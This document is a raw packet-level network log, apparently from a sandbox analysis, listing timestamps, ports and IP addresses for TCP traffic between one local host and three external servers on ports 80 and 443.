Aug 21, 2024 08:32:15.417937994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417970896 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.417995930 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.418549061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418581009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418591022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418622017 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.418646097 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.418668985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418674946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418687105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418692112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418715000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418715954 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.418742895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.418764114 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.418901920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418906927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418919086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418924093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418929100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418941021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.418952942 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.418982029 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.419514894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.419521093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.419526100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.419559956 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.419579029 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.419585943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.419591904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.419596910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.419601917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.419637918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.420309067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.420314074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.420324087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.420366049 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.420375109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.420380116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.420386076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.420392990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.420416117 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.420428991 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.420449018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.420557976 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.420608044 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.420651913 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.420686960 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.420701027 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.420701027 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.420707941 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.420733929 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.420741081 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.420762062 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.420767069 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.420825958 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.420825958 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.420833111 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.420890093 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.420919895 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.420934916 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.420939922 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.421034098 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.421046019 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.421049118 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.421072960 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.421112061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.421124935 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.421130896 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.421169996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.421178102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.421185017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.421196938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.421211958 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.421231031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.421267986 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.421283007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.421288967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.421293974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.421344995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.421423912 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.421474934 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.421494007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421499968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421509981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421514988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421540976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.421565056 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.421619892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421631098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421636105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421641111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421647072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421658039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421664000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421669006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.421691895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.421706915 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.421833992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421839952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421850920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421857119 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.421895027 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.421916008 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.422444105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.422481060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.422487020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.422528028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.422533989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.422539949 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.422574997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.422620058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.422626019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.422657967 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.422688961 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.422744036 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.422772884 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.422833920 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.422894955 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.422956944 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.422981024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.422986984 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.422996998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423002005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423007011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423013926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423043013 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423078060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423098087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423207045 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.423254967 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.423268080 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.423269987 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423274994 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.423302889 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.423312902 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.423423052 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.423470974 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.423482895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423487902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423494101 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.423499107 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.423506975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423511982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423516989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423523903 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.423525095 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423540115 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.423559904 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423559904 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423604012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423609018 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423614025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423619032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423624039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423629045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423635006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423665047 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423665047 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423703909 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423760891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423767090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423784971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423789978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423801899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.423816919 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423850060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.423854113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.423913002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.423918009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.423928976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.423940897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.423947096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.423958063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.423964024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423964024 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.423969030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423979998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.423985004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.423990965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.423991919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424005032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424031019 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.424035072 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.424201012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424211979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424213886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424218893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424220085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424221992 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424227953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424237967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424245119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424259901 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.424267054 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.424288988 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.424391985 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.424490929 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.424503088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424509048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424514055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424524069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424530029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424540043 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424546003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424550056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.424556971 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.424556971 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.424591064 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.424612045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424618006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424628973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424658060 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.424664974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424671888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.424671888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424676895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424683094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424705982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.424731970 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.424777031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424839973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424845934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424850941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424861908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424880028 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.424901009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.424911022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424916029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424921989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.424948931 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.424962044 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.425019979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425024986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425048113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425086975 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.425086975 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.425101042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425108910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425113916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425144911 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.425170898 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.425184011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425187111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425221920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425226927 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.425242901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425247908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425261974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.425268888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425290108 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.425319910 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.425355911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425362110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425371885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425395012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425401926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425405025 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.425426960 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.425453901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425453901 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.425460100 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425462008 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.425508976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425508976 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.425514936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425529003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425534010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425544977 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.425560951 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.425594091 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.425681114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425687075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425697088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425703049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425708055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425713062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425724030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.425726891 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.425748110 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.425757885 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.426258087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.426285982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.426309109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.426352978 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.426374912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.426377058 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.426382065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.426389933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.426395893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.426440001 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.426472902 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.427325010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427331924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427336931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427395105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.427412987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427418947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427438974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427444935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427496910 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.427572966 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427580118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427589893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427593946 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427601099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427608967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427611113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427613020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427623987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.427628994 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.427668095 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.427668095 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.429161072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429166079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429177046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429239988 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.429243088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429256916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429263115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429269075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429274082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429280043 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429291010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429296970 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.429330111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.429330111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.429366112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429371119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429382086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429385900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429392099 CEST	80	49719	147.45.44.104	192.168.2.6
